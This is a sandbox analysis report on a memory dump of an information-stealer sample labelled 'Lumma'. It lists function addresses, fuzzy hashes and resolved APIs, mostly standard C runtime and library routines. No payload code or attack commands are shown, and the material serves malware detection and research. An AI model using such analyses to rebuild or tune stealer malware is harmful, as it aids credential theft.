Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc5674563002588057d0b849e6ed5bf4f2f54446257ebcbae0008a5ae8fff719
Instruction ID: cb2fb629a5c5fe10cfbbcd8c72baacdda486261968f6cf7adbeaeee84aa28b15
Opcode Fuzzy Hash: bc5674563002588057d0b849e6ed5bf4f2f54446257ebcbae0008a5ae8fff719
Instruction Fuzzy Hash: 00012974A017028BE768CF29C891B62F7F1FF46304F04D91CD4AA87666D770A4858B58

Function 00D5F405 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6dcfb887927e44ebc9c8df3be7b5c038a0f11836debed013c10823e69254abd
Instruction ID: 54c06cae19f101f5f46a0120fb6918c171f9d4c75ac59d2432589276118cd53b
Opcode Fuzzy Hash: e6dcfb887927e44ebc9c8df3be7b5c038a0f11836debed013c10823e69254abd
Instruction Fuzzy Hash: 0B01003460A3429BD700CF18C69060BBBF3ABC5B05F29C95CE8C46B259D371ED4A9B96

Function 00D46F14 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 471b036debc2c1aad8a898ab500f9844801b1f485e33d987dba9966f4d8f2757
Instruction ID: 1eaa9f844ca0306c6d9f60320c8d55b45a8226a384f3d23baef3a1035a800286
Opcode Fuzzy Hash: 471b036debc2c1aad8a898ab500f9844801b1f485e33d987dba9966f4d8f2757
Instruction Fuzzy Hash: A7E065F2818280AFE741AF10DC41C6BBAF8FAD6344F401828F44596221E635DA5086B7

Function 00D328E8 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction ID: d7b17f262eab18f5b5c1eb7f026d24caa26923463daec31e6faa141cc19e4867
Opcode Fuzzy Hash: ae9cf52e3d41c581a170ec7cf48180e445a84ed293e19ee7d78fcac670432e06
Instruction Fuzzy Hash: D2D0A771E487A50E67598E3814E057BFBE8EA47752F1C589EE4D1E3105D220DC015778

Function 00D278FF Relevance: .0, Instructions: 9COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31c6e57c8d182a4811bf32cedda78cd0eff4a3236e7b7f07d6f7e66ab38d7f56
Instruction ID: 814f246f676d3c29f1c5ed3c9c5180f38fe27575c6b35d95e57c7aafb7ba587c
Opcode Fuzzy Hash: 31c6e57c8d182a4811bf32cedda78cd0eff4a3236e7b7f07d6f7e66ab38d7f56
Instruction Fuzzy Hash: 56A001F980E508C682981E519915636B2B1E693211E1A31B8C69237261E561C812868D

Function 00D5EB1E Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0c772d695baf1d88454e2eb36fe1b81e94b400f04066d85bcd277e984e85959
Instruction ID: 5b3106db0878eae2872f2a612709aa92ad77977d8328c4d66ecf011854ae61da
Opcode Fuzzy Hash: b0c772d695baf1d88454e2eb36fe1b81e94b400f04066d85bcd277e984e85959
Instruction Fuzzy Hash: 84900224D486008B85088F04A490470E239664B101E6030188009734525A10D408950C

Function 00D5F18F Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1049e438e0060e33aed619e5f727d9840857e758bad76f7a7dfb12f9d9acb0b7
Instruction ID: e83999cd57079e76c5b76c45e51320ed6d5bcca76cec521a5ec150ed5adcd3e5
Opcode Fuzzy Hash: 1049e438e0060e33aed619e5f727d9840857e758bad76f7a7dfb12f9d9acb0b7
Instruction Fuzzy Hash: 83900265D4C50187C5008F049444474E279560F101F10B4119109F3022D220D410450C

Function 00CE2370 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00CE237C
_Yarn.LIBCPMTD ref: 00CE2387
_Yarn.LIBCPMTD ref: 00CE2392
_Yarn.LIBCPMTD ref: 00CE239D
_Yarn.LIBCPMTD ref: 00CE23A8
_Yarn.LIBCPMTD ref: 00CE23B3
_Yarn.LIBCPMTD ref: 00CE23BE
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00CE23D1

Part of subcall function 00CF4D3B: _Yarn.LIBCPMT ref: 00CF4D5A
Part of subcall function 00CF4D3B: _Yarn.LIBCPMT ref: 00CF4D7E

Strings

bad locale name, xrefs: 00CE23DB

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Yarn$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3904239083-1405518554
Opcode ID: a413da999bc367f033eddebda9fa47db2a27860667834a661d4430edff3814f9
Instruction ID: 325a3ef8cdd2b19f810f28869ba69a54c795582dd35ca889afd11859573a41a0
Opcode Fuzzy Hash: a413da999bc367f033eddebda9fa47db2a27860667834a661d4430edff3814f9
Instruction Fuzzy Hash: 1401CD70A00188EBCB08EBD9C9A2BBE7379EF44308F540059F50667342CE756F50EBA6

Function 00CF6BA6 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00CF6BAC
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 00CF6BBA
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00CF6BCB
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00CF6BDC

Strings

GetTempPath2W, xrefs: 00CF6BD1
kernel32.dll, xrefs: 00CF6BA7
GetSystemTimePreciseAsFileTime, xrefs: 00CF6BC0
GetCurrentPackageId, xrefs: 00CF6BB4

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 490a54c437309469abc9fc3864a0717d2aad41b1e1f0466f077ebcad31ddc4f5
Instruction ID: 7f80bf784fb6e88d9f7ceac43ae539398ee1ab66dcb547a6e1b83017e28d52e3
Opcode Fuzzy Hash: 490a54c437309469abc9fc3864a0717d2aad41b1e1f0466f077ebcad31ddc4f5
Instruction Fuzzy Hash: D9E0BF35552310BF87009BF8BC299C57B98AA096113014115FC19D2350EFB105C98BB2

Function 00CFA632 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00CFA751
___TypeMatch.LIBVCRUNTIME ref: 00CFA85F
_UnwindNestedFrames.LIBCMT ref: 00CFA9B1
CallUnexpected.LIBVCRUNTIME ref: 00CFA9CC

Strings

csm, xrefs: 00CFA6DC
csm, xrefs: 00CFA66F
csm, xrefs: 00CFA788

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: 070e8919e955b869e05fe5551ac61d8f29df79848faf5072cc282c39c6ce8cc3
Instruction ID: 016500ec69ab7018bb77d7febc88145826ea5510f8763276eb1f2cbfb8b07283
Opcode Fuzzy Hash: 070e8919e955b869e05fe5551ac61d8f29df79848faf5072cc282c39c6ce8cc3
Instruction Fuzzy Hash: 23B169B180020DDFCF98DFA4C8819BEF7B5BF14310B15806AEA296B252D771DA51DB93

Function 00CF69BC Relevance: 12.2, APIs: 8, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00CF6A05
__alloca_probe_16.LIBCMT ref: 00CF6A31
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00CF6A70
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CF6A8D
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00CF6ACC
__alloca_probe_16.LIBCMT ref: 00CF6AE9
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00CF6B2B
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00CF6B4E

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: f09d449e6a2483d4b25ec2f8bad7d481784d258cf465f66e05f9754de0def2c3
Instruction ID: dd1238838a839b4288af3c1fddb58b1a72b12b249eff65af7882bca5003369d0
Opcode Fuzzy Hash: f09d449e6a2483d4b25ec2f8bad7d481784d258cf465f66e05f9754de0def2c3
Instruction Fuzzy Hash: 7851AD72A0021ABBEF609F61CC45FBA7BB9EF44750F118028FA18E6150D7718E10AB62

Function 00CEECF0 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 374COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 00CEEDAD
_strcspn.LIBCMT ref: 00CEEDFA
ctype.LIBCPMTD ref: 00CEEE4C
task.LIBCPMTD ref: 00CEF139
task.LIBCPMTD ref: 00CEF141

Strings

@, xrefs: 00CEEFA5

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: _strcspntask$ctype
String ID: @
API String ID: 3059891354-2766056989
Opcode ID: 4b386d72e8a15ef18cd346efceada1aca66139f354b44ab10834135c85fa967c
Instruction ID: 9261c3b1dfc27a53a1e3f31246c8efe27faca6d95b5dd7a7cb01ced6feb3c5d3
Opcode Fuzzy Hash: 4b386d72e8a15ef18cd346efceada1aca66139f354b44ab10834135c85fa967c
Instruction Fuzzy Hash: 89F12BB19002899FCB08DF99D891AEEB7BAFF48300F14815DF519AB295DB34AE41DF50

Function 00CFA100 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00CFA137
___except_validate_context_record.LIBVCRUNTIME ref: 00CFA13F
_ValidateLocalCookies.LIBCMT ref: 00CFA1C8
__IsNonwritableInCurrentImage.LIBCMT ref: 00CFA1F3
_ValidateLocalCookies.LIBCMT ref: 00CFA248

Strings

csm, xrefs: 00CFA1DD

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: d52d876ada361055f196bd2544ad85e7d53a7c4ad0b13b952d180bff3d816f65
Instruction ID: d51269077494fce9ee2749421f783f0d1b0e2b688f44e770311ce7450029eaac
Opcode Fuzzy Hash: d52d876ada361055f196bd2544ad85e7d53a7c4ad0b13b952d180bff3d816f65
Instruction Fuzzy Hash: CC41B174A0020CEBCF50DF69C844AAEBBB4EF45314F158055EA1D9B392DB31EA15CB93

Function 00CF4EBA Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00CF4EC1
std::_Lockit::_Lockit.LIBCPMT ref: 00CF4ECB
int.LIBCPMTD ref: 00CF4EE2

Part of subcall function 00CE2550: std::_Lockit::_Lockit.LIBCPMT ref: 00CE2566
Part of subcall function 00CE2550: std::_Lockit::~_Lockit.LIBCPMT ref: 00CE2590

codecvt.LIBCPMT ref: 00CF4F05
std::_Facet_Register.LIBCPMT ref: 00CF4F1C
std::_Lockit::~_Lockit.LIBCPMT ref: 00CF4F3C
Concurrency::cancel_current_task.LIBCPMTD ref: 00CF4F49

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Registercodecvt
String ID:
API String ID: 2133458128-0
Opcode ID: 2fb31fc60fc039ed2bfaac33878b207d5ae3db8f57f274866163b081480f295b
Instruction ID: 439f0d7b5f040dd8dece4c483ed8f00532b3384f26487fc737915c3333db35d4
Opcode Fuzzy Hash: 2fb31fc60fc039ed2bfaac33878b207d5ae3db8f57f274866163b081480f295b
Instruction Fuzzy Hash: 211103769102189FCB04EBA9D816BBEB7B5AF44721F200509F605E7391DFB0EE409B92

Function 00D0D73F Relevance: 9.3, APIs: 6, Instructions: 298COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8fa41f8be9cb54fc89c7afbf1b09795d15e7c01df33b2fbf2fa66a916f1186d6
Instruction ID: e2d574b2b2a0715ebd10ed444c0de7bbc9492de48f75cbe55dc6d5aaba4f7c72
Opcode Fuzzy Hash: 8fa41f8be9cb54fc89c7afbf1b09795d15e7c01df33b2fbf2fa66a916f1186d6
Instruction Fuzzy Hash: DAB1D170A04249AFDB11DF99C880BBEBBB2EF59310F18815AE449AB2D2D7719D41CB70

Function 00CE7500 Relevance: 9.2, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

_Fgetc.LIBCPMTD ref: 00CE7580

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: Fgetc
String ID:
API String ID: 1720979605-0
Opcode ID: 833b3eaf851a66deee94d85e41a5320529ebf35191e9a980c4f613ff6ad1b6e7
Instruction ID: ed95b3084a9cbfc1e727fc6be836246a09208286f9ab2349e8be82f6169828c2
Opcode Fuzzy Hash: 833b3eaf851a66deee94d85e41a5320529ebf35191e9a980c4f613ff6ad1b6e7
Instruction Fuzzy Hash: F56170B2C142999FCF08EBA6D8919FEB7B4EF48300F144129F41277291EB34AD05DBA1

Function 00CF06A0 Relevance: 9.1, APIs: 6, Instructions: 105COMMON

Download Yara Rule

APIs

std::_Locinfo::_Getcvt.LIBCPMTD ref: 00CF06C7
std::_Locinfo::_Getcvt.LIBCPMTD ref: 00CF0711
_Maklocstr.LIBCPMTD ref: 00CF073A
_Maklocstr.LIBCPMTD ref: 00CF0757
_Getvals.LIBCPMTD ref: 00CF07BC
Concurrency::cancellation_token_source::~cancellation_token_source.LIBCPMTD ref: 00CF07C4

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: GetcvtLocinfo::_Maklocstrstd::_$Concurrency::cancellation_token_source::~cancellation_token_sourceGetvals
String ID:
API String ID: 2131260723-0
Opcode ID: 868a24ab4cb5dfd5bbb52d7d0ed3a0f9c2e2b3cb686a33f4e178b241b9dd8feb
Instruction ID: 8cbaa0f7a825eec90980d7736a009735238313aa578b94eaba50213533395a83
Opcode Fuzzy Hash: 868a24ab4cb5dfd5bbb52d7d0ed3a0f9c2e2b3cb686a33f4e178b241b9dd8feb
Instruction Fuzzy Hash: E7411C75A0031CABDB04EFA1DC55BAEB77AFF84700F148029E9095F382DB71AA05CB91

Function 00CFA2C4 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00CFA2BB,00CF9C49,00CF3FCF,0EB354B7,?,?,?,?,00D17F52,000000FF,?,00CE1867,?), ref: 00CFA2D2
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00CFA2E0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00CFA2F9
SetLastError.KERNEL32(00000000,?,00CFA2BB,00CF9C49,00CF3FCF,0EB354B7,?,?,?,?,00D17F52,000000FF,?,00CE1867,?), ref: 00CFA34B

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 10a81c5e8ab434ee450dea35452d1c178c5ad6e919c38fd0ee7104e045718540
Instruction ID: b451d12dbd792ecb2281cd21320e336e8deafff708173d1639e4a884478bdcc2
Opcode Fuzzy Hash: 10a81c5e8ab434ee450dea35452d1c178c5ad6e919c38fd0ee7104e045718540
Instruction Fuzzy Hash: B40147B22083596EE6A12775AC8597A6B84FB117767300229F728C01F3EF21DD0661A3

Function 00CF3B33 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCMTD ref: 00CF3BE2
std::_Ref_count_base::_Decref.LIBCMTD ref: 00CF3CC6

Strings

MOC, xrefs: 00CF3B3D
csm, xrefs: 00CF3B55
RCC, xrefs: 00CF3B49

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240121386.0000000000D74000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ce0000_TS-240622-Lumma4.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: 3b49c85f65c2934e54f4d1a3ed2d8495b059583df2f3b3c1c35b7154fe736008
Instruction ID: 483d994e69e292390662489226ca995447ea38b8989fa431a39756df162e309d
Opcode Fuzzy Hash: 3b49c85f65c2934e54f4d1a3ed2d8495b059583df2f3b3c1c35b7154fe736008
Instruction Fuzzy Hash: 7441BC7090128DEFCFA4DF68C549ABEB7B5EF44300B54815DE9496B241C738EB44DB62

Function 00D052C6 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,0EB354B7,?,?,00000000,00D18146,000000FF,?,00D05256,?,?,00D0522A,00000000), ref: 00D052FB
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D0530D
FreeLibrary.KERNEL32(00000000,?,00000000,00D18146,000000FF,?,00D05256,?,?,00D0522A,00000000), ref: 00D0532F

Strings

mscoree.dll, xrefs: 00D052F4
CorExitProcess, xrefs: 00D05305

Memory Dump Source

Source File: 00000000.00000002.1240037135.0000000000CE1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CE0000, based on PE: true

Associated: 00000000.00000002.1240015814.0000000000CE0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240066110.0000000000D19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1240086428.0000000000D26000.00000004.00000001.01000000.00000003.sdmpDownload File
